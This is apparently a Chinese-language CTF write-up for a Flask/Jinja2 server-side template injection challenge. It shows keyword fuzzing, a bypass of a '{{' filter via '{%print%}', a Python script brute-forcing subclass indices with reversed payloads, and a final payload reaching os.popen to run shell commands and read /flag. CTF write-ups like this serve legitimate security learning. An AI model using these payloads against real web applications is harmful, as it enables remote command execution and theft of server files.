还是那句话:输入什么返回什么
,猜测模板注入
Fuzz一波,看一下过滤情况
2 | {{ | 200 | false | false | 547 | |
12 | request | 200 | false | false | 547 | |
13 | | 200 | false | false | 547 | |
18 | class | 200 | false | false | 547 | |
20 | base | 200 | false | false | 547 | |
21 | session | 200 | false | false | 547 | |
30 | flag | 200 | false | false | 547 | |
32 | builtins | 200 | false | false | 547 | |
33 | get_flashed_messages | 200 | false | false | 547 | |
35 | subclasses | 200 | false | false | 547 | |
38 | headers | 200 | false | false | 547 |
{{
被过滤了就用{%print%}的形式
发现是反序输出的。那就用脚本或者在线工具讲构造好的payload反序一下。
确立一个payload再跑一下变量的参数:
import requests
url = "http://f67aad23-ad37-4e9d-81a3-f6766254d354.node4.buuoj.cn:81/"
data = {"text": "=}%fidne%{1}%))(daer.)'/ sl'(]'nepop'[__slabolg__.__tini__.]711[)(__sessalcbus__.]0[__sesab__.__ssalc__.''(fi%{"}
for i in range(1, 1000):
data["text"] = "=}%fidne%{1}%))(daer.)'/ sl'(]'nepop'[__slabolg__.__tini__.]"+str(i)+"[)(__sessalcbus__.]0[__sesab__.__ssalc__.''(fi%{"
resp = requests.post(url=url, data=data)
if "Output" in resp.text:
print(i)
再用在线工具:文本翻转颠倒排序-在线文字倒序反转翻转排序工具
反序payload:
{%print(''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("sort /flag").read())%}
直接贴payload:
text=}%))(daer.)"galf/ tros"(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.''(tnirp%{